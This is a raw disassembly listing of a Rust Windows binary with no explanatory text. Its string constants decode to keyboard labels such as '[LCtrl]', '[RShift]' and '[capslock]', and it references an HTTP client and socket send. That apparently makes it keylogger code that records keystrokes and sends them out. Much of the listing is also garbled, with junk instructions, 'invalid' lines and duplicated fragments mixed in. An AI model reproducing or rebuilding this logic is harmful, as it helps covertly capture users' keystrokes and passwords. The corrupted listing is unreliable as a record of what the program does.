je 0x14000e15c
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0x138]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0x1008], 0
je 0x14000e17c
mov r8, qword [rbx + 0x1010]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [r14 + 0x10], 0
je 0x14000e196
mov r8, qword [r14 + 0x18]
mov rcx, qword [0x140221370]
add byte [rcx], dh
sar bh, cl
adc eax, 0x167e92
add byte [rcx], dh
sar bh, cl
adc eax, 0x167e92
mov qword [r14 + 0x10], 0
mov qword [r14 + 0x18], 1
mov qword [r14 + 0x20], 0
add byte [rax - 0x39], cl
add dword [rax + 3], 0
add byte [rax], al
add byte [rcx - 0x39], cl
sbb byte [rcx], r8b
add byte [rax], al
add byte [rcx - 0x39], cl
and byte [rax], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax + 3], 0
add byte [rax], al
mov rax, qword [0x140221050]
and dword cs:[rax], eax
lea rcx, [rbx + 0x380]
call rax
mov rax, qword [rbx + 0x380]
mov qword [r14], rax
movzx eax, byte [rdi + 0x20]
and byte [rax - 0x73], cl
dec byte [rax - 0x7d]
stc
add al, 0xf
invalid
jbe 0x14000e171
invalid
invalid
add bh, bh
ror byte [rax - 0x75], 1
add dword [rax + 0x49000003], 0xffffff89
invalid
and byte [rax - 0x73], cl
dec byte [rax - 0x7d]
stc
add al, 0xf
invalid
invalid
cmp eax, 1
jne 0x14000e4c0
clc
add dword [rdi], ecx
test edx, edx
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x48
mov dword [rbx + 0x1040], eax
add dword [rax + 0x10], 0
invalid
mov rax, qword [rdi + 0x24]
mov qword [rbx + 0x1040], rax
add dword [rax + 0x10], 0
invalid
add dword [rax + 0x10], 0
adc byte [rax], al
add byte [rax - 0x73], cl
add dword [rax + 0x10], 0
add byte [rax - 0x77], cl
add dword [rax + 0x48000008], 0xffffff8d
or byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rbx + 0x1040]
mov qword [rbx + 0x880], rax
or byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x960a2
or byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x960a2
mov qword [rbx + 0x888], rax
mov qword [rbx + 0x380], 0
add dword [rax + 3], 0
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax + 3], 0
add byte [rax], al
lea rax, str.8N__
mov qword [rbx + 0x390], rax
mov dword [rbx + 0x390], eax
jo 0x14000e246
add byte [rax - 0x77], cl
adc dword [rax + 0x48000003], 0xffffffc7
sbb dword [rax + 0x1000003], 0
add dword [rax], eax
mov dword [rbx + 0x390], eax
mov qword [rbx + 0x398], 1
add dword [rax], eax
add byte [rax], al
lea rax, [rbx + 0x880]
mov qword [rbx + 0x3a0], rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sub dword [rax + 0x1000003], 0
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
invalid
mov qword [rbx + 0x3a8], 1
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov bl, 0x80
or byte [0xcd48e25c], 0x93
lea rsi, [rbx + 0xd80]
lea rdx, [rbx + 0x380]
add byte [rbx], 0
add byte [rax - 0x77], cl
int1
or byte [0xcd48e25c], 0x93
add byte [rbx], 0
add byte [rax - 0x77], cl
int1
call fcn.140013f00
pop rsp
add byte [rax], al
lea rcx, [rbx + 0x380]
mov rdx, rsi
call fcn.140005630
add eax, dword [rax]
add byte [rax - 0x77], cl
bnd call fcn.140005630
mov ecx, 0x4cffff73
mov eax, dword [rbx + 0x388]
add byte [rax], al
mov r8, qword [rbx + 0x388]
add byte [rax], al
mov rax, qword [rbx + 0x390]
add rax, 0xfffffffffffffff9
cmp rax, 4
add al, 0xf
xchg dword [rdi + 1], ecx
add dword [rax], eax
invalid
add al, 0xf
xchg dword [rdi + 1], ecx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x34da
lea rcx, [0x140011774]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 0x74634c5b
xor ecx, dword [r8]
mov eax, 0x5d6c7274
mov edx, dword [r8 + 3]
xor edx, eax
or edx, ecx
je 0x14000e2ce
mov ecx, 0x7463525b
xor ecx, dword [r8]
xor eax, dword [r8 + 3]
or eax, ecx
jne case.default.0x14000e2a1
add dword [rax], eax
invalid
push rdx
invalid
add dword [rax], eax
add byte [rcx - 0x3a], al
add byte [rax - 0x75], cl
add dword [rax + 0x48000003], 0xffffff85
ror byte [rdi], 0x85
sgdt [rax]
add cl, ch
mov byte [r14 + 0x42], 0
mov rax, qword [rbx + 0x380]
test rax, rax
jne 0x14000e3f2
jmp 0x14000705b
jae 0x14000e273
invalid
movabs rax, 0x6e6f6974706f4c5b
xor rax, qword [r8]
movzx ecx, byte [r8 + 8]
xor rcx, 0x5d
or rcx, rax
or ecx, eax
or ecx, eax
je 0x14000e322
movabs rax, 0x6e6f6974706f525b
xor rax, qword [r8]
movzx ecx, byte [r8 + 8]
xor rcx, 0x5d
or rcx, rax
jne case.default.0x14000e2a1
mov byte [r14 + 0x43], 0
mov rax, qword [rbx + 0x380]
test rax, rax
jne 0x14000e3f2
invalid
add byte [rax], al
invalid
mov ebx, 0xe9000000
invalid
jmp 0x14000705b
movabs rcx, 0x6974636e75664c5b
xor rcx, qword [r8]
movabs rax, 0x5d6e6f6974636e75
mov rdx, qword [r8 + 3]
xor rdx, rax
or rdx, rcx
je 0x14000e375
movabs rcx, 0x6974636e7566525b
je 0x14000e3d2
xor rcx, qword [r8]
xor rax, qword [r8 + 3]
or rax, rcx
jne case.default.0x14000e2a1
mov byte [r14 + 0x44], 0
mov rax, qword [rbx + 0x380]
test rax, rax
jne 0x14000e3f2
jmp 0x14000705b
movabs rax, 0x5d74666968734c5b
je 0x14000e3f2
cmp qword [r8], rax
je 0x14000e3a9
movabs rax, 0x5d7466696873525b
cmp qword [r8], rax
jne case.default.0x14000e2a1
mov byte [r14 + 0x40], 0
mov rax, qword [rbx + 0x380]
test rax, rax
jne 0x14000e3f2
jmp 0x14000705b
movabs rax, 0x636f6c737061635b
xor rax, qword [r8]
movzx ecx, word [r8 + 8]
xor rcx, 0x5d6b
xor ecx, 0x5d6b
or rcx, rax
jne case.default.0x14000e2a1
xor byte [r14 + 0x41], 1
mov rax, qword [rbx + 0x380]
test rax, rax
je 0x14000705b
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000705b
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
test rsi, rsi
mov rsi, r15
jne 0x14000e076
jmp 0x14000e08b
mov rcx, r15
call fcn.14016b870
mov rsi, rax
mov rcx, qword [rbx + 0x7f8]
lock dec qword [rcx]
jne 0x14000e444
call fcn.140004130
mov rcx, qword [rbx + 0xae8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x14000e46c
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0x138]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0x1008], 0
je 0x14000e48c
mov r8, qword [rbx + 0x1010]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbx + 0x380], rsi
lea rax, [0x140177538]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
or eax, 0x206aca
or eax, 0x206aca
lea r9, [0x1401770d0]
lea r8, [rbx + 0x380]
mov edx, 0x2b
call fcn.14016f5f0
ud2
mov rax, qword [rdi + 0x24]
mov qword [rbx + 0x1040], rax
lea rax, [rbx + 0x1040]
mov qword [rbx + 0x880], rax
or byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [0x1400a42b0]
or byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [0x1400a42b0]
lea eax, [0x1400a42b0]
mov qword [rbx + 0x888], rax
mov qword [rbx + 0x380], 0
lea rax, str.8N__
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add dword [rax + 0x48000008], 0xffffff89
or byte [rax], 0
add byte [rax - 0x77], cl
add byte [rax], al
lea rax, [rbx + 0x880]
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 1
or byte [rax], 0
add byte [rax - 0x77], cl
and dword [rax + 0x48000003], 0xffffffc7
sub dword [rax + 0x1000003], 0
add byte [rax], al
lea rsi, [rbx + 0xd80]
lea rdx, [rbx + 0x380]
mov rcx, rsi
call fcn.140013f00
lea rcx, [rbx + 0x380]
mov eax, dword [rax + 0x48000003]
mov edx, esi
mov eax, dword [rax + 0x48000003]
mov edx, esi
call fcn.140005630
mov r12, qword [rbx + 0x388]
mov r13, qword [rbx + 0x390]
lea rax, [r13 - 7]
cmp rax, 4
ja case.default.0x14000e573
lea rcx, [0x140011788]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov ecx, 0x74634c5b
xor ecx, dword [r12]
and al, 0xb8
je 0x14000e5f3
insb byte [rdi], dx
pop rbp
and al, 0xb8
je 0x14000e5f3
insb byte [rdi], dx
pop rbp
mov edx, dword [r12 + 3]
xor edx, eax
or edx, ecx
je case.0x14000d52e.44
mov ecx, 0x7463525b
xor ecx, dword [r12]
xor eax, dword [r12 + 3]
or eax, ecx
jne case.default.0x14000e573
mov byte [r14 + 0x42], 1
jmp case.default.0x14000e573
movabs rax, 0x5d74666968734c5b
cmp qword [r12], rax
je 0x14000e5d2
jae 0x14000e61c
imul esp, dword [rsi + 0x74], 0x439495d
and al, 0x74
adc al, 0x48
mov eax, 0x6873525b
imul esp, dword [rsi + 0x74], 0x439495d
and al, 0xf
test dword [rax + rax - 0x39bf0000], esi
add ecx, ebp
movabs rax, 0x5d7466696873525b
cmp qword [r12], rax
jne case.default.0x14000e573
mov byte [r14 + 0x40], 1
jmp case.default.0x14000e573
stosb byte [rdi], al
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rax - 0x48], cl
invalid
mov eax, 0x706f4c5b
invalid
movabs rax, 0x6e6f6974706f4c5b
mov eax, 0x706f4c5b
je 0x14000e64d
imul ebp, dword [rdi + 0x6e], 0x24043349
outsd dx, dword [rsi]
outsb dx, byte [rsi]
xor rax, qword [r12]
movzx ecx, byte [r12 + 8]
xor rcx, 0x5d
pop rbp
or rcx, rax
je 0x14000e616
movabs rax, 0x6e6f6974706f525b
xor rax, qword [r12]
xor eax, dword [rsp]
xor eax, dword [rsp]
movzx ecx, byte [r12 + 8]
xor rcx, 0x5d
or rcx, rax
jne case.default.0x14000e573
mov byte [r14 + 0x43], 1
jmp case.default.0x14000e573
imul ecx, dword [rax - 0x48], 0x7061635b
jae 0x14000e691
movabs rax, 0x636f6c737061635b
xor rax, qword [r12]
movzx ecx, word [r12 + 8]
xor rcx, 0x5d6b
or rcx, rax
jne case.default.0x14000e573
outsd dx, dword [rsi]
invalid
xor byte [r14 + 0x41], 1
jmp case.default.0x14000e573
movabs rcx, 0x6974636e75664c5b
xor rcx, qword [r12]
movabs rax, 0x5d6e6f6974636e75
imul ecx, dword [rcx + 0x33], 0xb848240c
jne 0x14000e6c4
invalid
je 0x14000e6c2
outsd dx, dword [rsi]
outsb dx, byte [rsi]
pop rbp
mov rdx, qword [r12 + 3]
xor rdx, rax
or rdx, rcx
je 0x14000e681
movabs rcx, 0x6974636e7566525b
xor rcx, qword [r12]
xor rax, qword [r12 + 3]
or rax, rcx
jne case.default.0x14000e573
mov byte [r14 + 0x44], 1
mov rax, qword [rbx + 0x380]
mov qword [rbx + 0xe0], rax
mov qword [rbx + 0x380], 0
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax + 3], 0
add byte [rax], al
mov rax, qword [0x140221050]
lea rcx, [rbx + 0x380]
call rax
mov rax, qword [rbx + 0x380]
mov qword [r14], rax
movzx eax, byte [r14 + 0x40]
mov byte [rbx + 0xb8], al
add byte [rax], al
movzx eax, byte [r14 + 0x41]
mov byte [rbx + 0x138], al
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x18], 0
jne 0x14000e6f1
call fcn.14014c4e0
pxor xmm0, xmm0
movdqa xmmword [rbx + 0x380], xmm0
mov qword [rbx + 0x390], 0
lea rax, [0x1401ef3a0]
mov qword [rbx + 0x398], rax
lea r8, [rbx + 0x3a0]
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0x20]
inc qword [rax + 0x20]
movdqa xmmword [rbx + 0x3a0], xmm0
lea r15, [rbx + 0x380]
mov edx, shutdown
mov rcx, r15
call fcn.14016b8e0
mov qword [rsp + 0x20], 1
lea rdx, [0x1401773fe]
lea r9, [0x1401eadfc]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401773ff]
lea r9, str.____C_
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177400]
lea r9, [0x1401eaefc]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177401]
lea r9, str._srclibmod.rs
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177402]
lea r9, [0x14017aba8]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177403]
lea r9, [0x140177569]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177404]
lea r9, [0x1401eaaea]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177405]
lea r9, [0x1401eaae9]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140177406]
lea r9, [0x1401eaaed]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401eacc9]
lea r9, [0x1401f0760]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1402152c0]
lea r9, [0x1401eaf59]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1402152c1]
lea r9, [0x1401ec923]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x140215750]
lea r9, str._for______as_::shimclosuredyn_____mut_const__unsafe_extern____fn____
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401ea5b3]
lea r9, [0x14017a879]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401ea218]
lea r9, str.If_App::_build_hasnt_been_called__manually_search_through_Arg_shorts
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401eaee1]
lea r9, str._C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_tokio_1.32.0_srcutilwake_list.rs
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401eaaef]
lea r9, [0x1401eaaeb]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401ec360]
lea r9, [0x1401eaaec]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x14017ad30]
lea r9, [0x14017756a]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov qword [rsp + 0x20], 1
lea rdx, [0x1401eeb08]
lea r9, [0x1401eadfb]
mov r8d, 1
mov rcx, r15
call fcn.140005360
mov eax, 1
test r13, r13
je 0x14000ea69
setns al
js 0x14000f20f
movzx esi, al
mov rcx, r13
mov rdx, rsi
call fcn.1400137e0
test rax, rax
je 0x14000f70d
mov qword [rbx + 0xf8], rax
mov rcx, rax
mov qword [rbx + 0xa0], r12
mov rdx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
cmp byte [rbx + 0xb8], 0
je 0x14000ebc2
cmp qword [rbx + 0x390], 0
je 0x14000ebd5
mov qword [rbx + 0x228], r14
mov rcx, qword [rbx + 0x3a0]
mov rdx, qword [rbx + 0x3a8]
mov qword [rbx + 0xc0], rcx
mov qword [rbx + 0xd0], rdx
mov r8, qword [rbx + 0xa0]
mov r9, r13
call fcn.140021540
mov rsi, rax
mov r12, qword [rbx + 0x380]
mov rcx, qword [rbx + 0x398]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
mov qword [rbx + 0xa8], rcx
lea r15, [rcx - 0x20]
xor eax, eax
mov qword [rbx + 0xb0], rax
pcmpeqd xmm8, xmm8
and rsi, r12
mov rax, qword [rbx + 0xa8]
movdqu xmm7, xmmword [rax + rsi]
movdqa xmm0, xmm6
pcmpeqb xmm0, xmm7
pmovmskb r14d, xmm0
test r14d, r14d
je 0x14000eb90
lea eax, [r14 - 1]
and eax, r14d
inc dword [rcx + r12 - 0x10]
jmp case.0x140007c11.233
mov eax, r14d
sub ax, 1
call 0x130222f4b
call 0x130222f4b
cmp r14w, 1
jb 0x14000eb90
mov ecx, r14d
bsf cx, r14w
bsf ecx, r14d
bsf ecx, r14d
mov r14d, eax
movzx ecx, cx
add rcx, rsi
int1
int1
and rcx, r12
shl rcx, 5
mov rax, r15
sub rax, rcx
cmp qword [rax + 8], r13
invalid
or byte [rbp - 0x35], dh
push 0x48cb7508
mov edx, dword [rax]
mov rdx, qword [rax]
mov rcx, qword [rbx + 0xa0]
mov r8, r13
call 0x155cc266e
invalid
test eax, eax
jne 0x14000eb40
call 0x155cc266e
add byte [rbp - 0x164a8a40], al
nop
add byte [rax], al
add byte [rsi + 0x41], ah
pcmpeqb mm7, mm0
jmp 0x14000ec20
pcmpeqb xmm7, xmm8
pmovmskb eax, xmm7
test eax, eax
mov r14, qword [rbx + 0x228]
jne 0x14000ebc2
mov rax, qword [rbx + 0xb0]
add rsi, rax
add rsi, 0x10
add rax, 0x10
mov qword [rbx + 0xb0], rax
jmp 0x14000eb12
movzx eax, byte [rbx + 0x138]
or al, byte [rbx + 0xb8]
je 0x14000ed69
lea rcx, [rbx + 0xd80]
mov rdx, qword [rbx + 0xa0]
mov r8, r13
call fcn.140014310
test r13, r13
je 0x14000ec06
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0xf8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [rbx + 0xd80]
mov r12, qword [rbx + 0xd88]
mov r13, qword [rbx + 0xd90]
jmp 0x14000eddb
mov qword [rbx + 0x7f0], rdi
mov rcx, qword [rbx + 0xc0]
mov rdx, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xa0]
mov r9, r13
call fcn.140021540
mov r14, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor eax, eax
mov qword [rbx + 0xb0], rax
pcmpeqd xmm8, xmm8
and r14, r12
mov rax, qword [rbx + 0xa8]
movdqu xmm7, xmmword [rax + r14]
movdqa xmm0, xmm6
pcmpeqb xmm0, xmm7
pmovmskb edi, xmm0
test edi, edi
je 0x14000ecea
lea eax, [rdi - 1]
and eax, edi
jmp 0x14000ecae
mov eax, edi
sub ax, 1
and eax, edi
cmp di, 1
jb 0x14000ecea
mov ecx, edi
bsf cx, di
mov edi, eax
movzx esi, cx
add rsi, r14
and rsi, r12
mov rcx, rsi
shl rcx, 5
mov rax, r15
sub rax, rcx
cmp qword [rax + 8], r13
jne 0x14000eca0
mov rdx, qword [rax]
mov rcx, qword [rbx + 0xa0]
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000eca0
jmp 0x14000ed19
pcmpeqb xmm7, xmm8
pmovmskb eax, xmm7
test eax, eax
jne 0x14000f6e7
mov rax, qword [rbx + 0xb0]
add r14, rax
add r14, 0x10
add rax, 0x10
mov qword [rbx + 0xb0], rax
jmp 0x14000ec6b
neg rsi
shl rsi, 5
mov rax, qword [rbx + 0xa8]
mov rdi, qword [rax + rsi - 0x10]
mov r15, qword [rax + rsi - 8]
test r15, r15
je 0x14000ed9b
setns al
mov r14, qword [rbx + 0x228]
js 0x14000f20f
movzx esi, al
mov rcx, r15
mov rdx, rsi
call fcn.1400137e0
mov r12, rax
test rax, rax
jne 0x14000eda8
mov rcx, r15
mov rdx, rsi
call fcn.14016c090
ud2
mov r15, r13
mov r12, qword [rbx + 0xf8]
jmp 0x14000eddb
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rcx, r13
jmp 0x14000ed91
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
jmp 0x14000ed91
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rdx, rsi
call fcn.14016f330
ud2
mov r12d, 1
mov r14, qword [rbx + 0x228]
mov rcx, r12
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
test r13, r13
je 0x14000edd1
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0xf8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, r15
mov rdi, qword [rbx + 0x7f0]
mov rcx, qword [rbx + 0x380]
test rcx, rcx
je 0x14000ee15
lea rax, [rcx + 1]
mov edx, 0x20
mul rdx
add rcx, rax
cmp rcx, 0xffffffffffffffef
je 0x14000ee15
mov r8, qword [rbx + 0x398]
sub r8, rax
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x14000f6fa
mov rax, qword [r14 + 0x10]
mov rsi, qword [r14 + 0x20]
sub rax, rsi
cmp rax, r13
jb 0x14000ee7a
mov rcx, qword [r14 + 0x18]
add rcx, rsi
mov rdx, r12
mov r8, r13
mov eax, ebp
mov eax, ebp
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [r14 + 0x20], rsi
test r15, r15
je 0x14000ee5e
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 0xa0]
mov rax, qword [rbx + 0xe0]
test rax, rax
test eax, eax
test eax, eax
jne 0x14000e3f2
jmp 0x14000705b
lea rcx, [r14 + 0x10]
mov rdx, rsi
mov r8, r13
call fcn.1401726f0
mov rsi, qword [r14 + 0x20]
jmp 0x14000ee2e
mov r14d, 2
jmp case.0x140007c11.238
invalid
dec dword [rax - 1]
ror dword [rbp + rcx*4 + 5], 0x74
outsd dx, dword [rsi]
sbb dword [rax], eax
mov edx, reloc.WS2_32.dll_send
call fcn.14016f330
ud2
mov r14d, 3
jmp case.0x140007c11.238
mov r14d, 4
mov r13, qword [rbx + 0xf8]
jmp case.0x140007c11.238
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov edx, 0x29
call fcn.14016f3d0
ud2
mov r14d, 5
mov r13, qword [rbx + 0xf8]
jmp case.0x140007c11.238
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rcx, r13
mov rdx, rsi
call fcn.14016f3b0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rcx, r14
mov rdx, rdi
call fcn.14016f3b0
ud2
lea rsi, [0x1401e8318]
mov qword [rsp + 0x20], rsi
mov r8, rax
mov r9, rdi
call fcn.14016f7f0
ud2
lea rax, [0x1401e8330]
mov qword [rsp + 0x20], rax
call fcn.14016f7f0
ud2
mov r14d, 6
jmp case.0x140007c11.238
mov eax, dword [rbx + 0x1d0]
mov dword [rbx + 0xac0], eax
mov eax, dword [rbx + 0x853]
mov dword [rbx + 0x203], eax
mov eax, dword [rbx + 0x850]
mov dword [rbx + 0x200], eax
mov rax, qword [rbx + 0x160]
mov qword [rbx + 0x260], rax
movaps xmm0, xmmword [rbx + 0x3d0]
movaps xmmword [rbx + 0xdd0], xmm0
movaps xmm0, xmmword [rbx + 0x3c0]
movaps xmmword [rbx + 0xdc0], xmm0
movaps xmm0, xmmword [rbx + 0x380]
movaps xmm1, xmmword [rbx + 0x390]
movaps xmm2, xmmword [rbx + 0x3a0]
movaps xmm3, xmmword [rbx + 0x3b0]
movaps xmmword [rbx + 0xdb0], xmm3
movaps xmmword [rbx + 0xda0], xmm2
movaps xmmword [rbx + 0xd90], xmm1
movaps xmmword [rbx + 0xd80], xmm0
movaps xmm0, xmmword [rbx + 0xdd0]
movaps xmmword [rbx + 0x3d0], xmm0
movaps xmm0, xmmword [rbx + 0xdc0]
movaps xmmword [rbx + 0x3c0], xmm0
movaps xmm0, xmmword [rbx + 0xd80]
movaps xmm1, xmmword [rbx + 0xd90]
movaps xmm2, xmmword [rbx + 0xda0]
movaps xmm3, xmmword [rbx + 0xdb0]
movaps xmmword [rbx + 0x3b0], xmm3
movaps xmmword [rbx + 0x3a0], xmm2
movaps xmmword [rbx + 0x390], xmm1
movaps xmmword [rbx + 0x380], xmm0
mov rax, qword [rbx + 0xc0]
mov qword [rbx + 0x3e0], rax
mov dword [rbx + 0x3e8], r15d
mov eax, dword [rbx + 0xac0]
mov dword [rbx + 0x40c], eax
movaps xmm0, xmmword [rbx + 0x1b0]
movaps xmm1, xmmword [rbx + 0x1c0]
movaps xmmword [rbx + 0xaa0], xmm0
movaps xmmword [rbx + 0xab0], xmm1
movaps xmm0, xmmword [rbx + 0xaa0]
movaps xmm1, xmmword [rbx + 0xab0]
movups xmmword [rbx + 0x3ec], xmm0
movups xmmword [rbx + 0x3fc], xmm1
mov rax, qword [rbx + 0xe0]
mov qword [rbx + 0x410], rax
mov rax, qword [rbx + 0xc8]
mov qword [rbx + 0x418], rax
mov eax, dword [rbx + 0xb8]
mov dword [rbx + 0x420], eax
mov eax, dword [rbx + 0x100]
mov dword [rbx + 0x424], eax
mov eax, dword [rbx + 0xd0]
mov dword [rbx + 0x428], eax
mov eax, dword [rbx + 0x120]
mov dword [rbx + 0x42c], eax
mov eax, dword [rbx + 0xe8]
mov dword [rbx + 0x430], eax
mov eax, dword [rbx + 0x108]
mov dword [rbx + 0x434], eax
mov eax, dword [rbx + 0xf0]
mov dword [rbx + 0x438], eax
mov eax, dword [rbx + 0x118]
mov dword [rbx + 0x43c], eax
mov eax, dword [rbx + 0x1a4]
mov dword [rbx + 0x440], eax
mov word [rbx + 0x444], r14w
movzx eax, byte [rbx + 0x2b0]
mov byte [rbx + 0x7d0], al
movaps xmm0, xmmword [rbx + 0x2a0]
movaps xmmword [rbx + 0x7c0], xmm0
movzx eax, word [rbx + 0x198]
mov word [rbx + 0x446], ax
movzx eax, byte [rbx + 0x7d0]
mov byte [rbx + 0x458], al
movaps xmm0, xmmword [rbx + 0x7c0]
movups xmmword [rbx + 0x448], xmm0
mov eax, dword [rbx + 0x203]
mov dword [rbx + 0x45c], eax
mov eax, dword [rbx + 0x200]
mov dword [rbx + 0x459], eax
mov qword [rbx + 0x460], 1
mov rax, qword [rbx + 0x260]
mov qword [rbx + 0x488], rax
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmmword [rbx + 0x250], xmm1
movaps xmmword [rbx + 0x240], xmm0
movaps xmm0, xmmword [rbx + 0x240]
movaps xmm1, xmmword [rbx + 0x250]
movups xmmword [rbx + 0x478], xmm1
movups xmmword [rbx + 0x468], xmm0
mov qword [rbx + 0x490], r13
lea rax, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
mov qword [rsp + 0x20], rax
lea rcx, [0x1401e9a40]
lea r9, [0x1401e5640]
lea r8, [rbx + 0x380]
mov edx, shutdown
call fcn.14016f5f0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_async_impl_response.rsp
jmp 0x1400109ad
call fcn.140013880
ud2
mov edx, 1
mov rcx, rsi
call fcn.14016c090
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_async_impl_response.rsp
jmp 0x1400109ad
mov qword [rbx + 0x140], rdi
lea rax, [rbx + 0x880]
mov qword [rbx + 0xd80], rax
lea rax, [0x14013e040]
mov qword [rbx + 0xd88], rax
mov qword [rbx + 0xd90], r14
lea rax, [fcn.140141ad0]
mov qword [rbx + 0xd98], rax
lea rax, str.failed_printing_to_:
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 2
